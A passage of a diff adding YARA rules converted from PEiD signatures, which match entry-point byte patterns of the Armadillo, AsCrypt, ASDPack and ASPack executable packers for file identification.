+        $a = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00181_Armadillo_v3_00_
+{
+    meta:
+        description = "[Armadillo v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00182_Armadillo_v3_00a_
+{
+    meta:
+        description = "[Armadillo v3.00a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00183_Armadillo_v3_01___v3_50a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00184_Armadillo_v3_01__v3_05_
+{
+    meta:
+        description = "[Armadillo v3.01, v3.05]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00185_Armadillo_v3_10_
+{
+    meta:
+        description = "[Armadillo v3.10]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00186_Armadillo_v3_xx_
+{
+    meta:
+        description = "[Armadillo v3.xx]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00187_Armadillo_v4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00188_Armadillo_v4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00189_Armadillo_v4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00190_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+    condition:
+        $a
+}
+rule PEiD_00191_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00192_AsCrypt_v0_1____SToRM____3_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - #3]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00193_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00194_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00195_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00196_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_00197_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00198_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00199_ASDPack_v1_0____asd_
+{
+    meta:
+        description = "[ASDPack v1.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+    condition:
+        $a
+}
+rule PEiD_00200_ASPack_1_08_
+{
+    meta:
+        description = "[ASPack 1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00201_ASPack_v1_00b_
+{
+    meta:
+        description = "[ASPack v1.00b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00202_ASPack_v1_01b_
+{
+    meta:
+        description = "[ASPack v1.01b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00203_ASPack_v1_02a_
+{
+    meta:
+        description = "[ASPack v1.02a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00204_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00205_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00206_ASPack_v1_03b_
+{
+    meta:
+        description = "[ASPack v1.03b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00207_ASPack_v1_04b_
+{
+    meta:
+        description = "[ASPack v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00208_ASPack_v1_05b_
+{
+    meta:
+        description = "[ASPack v1.05b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00209_ASPack_v1_061b_
+{
+    meta:
+        description = "[ASPack v1.061b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00210_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00211_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00212_ASPack_v1_07b__DLL__
+{
+    meta:
+        description = "[ASPack v1.07b (DLL)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00213_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00214_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00215_ASPack_v1_08_01____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.01 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00216_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00217_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00218_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 ?? 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00219_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00220_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00221_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00222_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00223_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00224_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00225_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00226_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00227_ASPack_v1_08_04____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.04 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 41 06 00 00 EB 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00228_ASPack_v1_08_x_
+{
+    meta:
+        description = "[ASPack v1.08.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00229_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00230_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00231_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00232_ASPack_v2_000____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.000 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 70 05 00 00 EB 4C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00233_ASPack_v2_001____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.001 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 4C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00234_ASPack_v2_11_
+{
+    meta:
+        description = "[ASPack v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 3D 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00235_ASPack_v2_11b_
+{
+    meta:
+        description = "[ASPack v2.11b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00236_ASPack_v2_11c_
+{
+    meta:
+        description = "[ASPack v2.11c]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00237_ASPack_v2_11d_
+{
+    meta:
+        description = "[ASPack v2.11d]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00238_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+    condition:
+        $a
+}
+
+rule PEiD_00239_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00240_ASPack_v2_1_
+{
+    meta:
+        description = "[ASPack v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00241_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00242_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00243_ASPR_Stripper_v2_x_unpacked_
+{
+    meta:
+        description = "[ASPR Stripper v2.x unpacked]"
+        ep_only = "true"
+    strings:
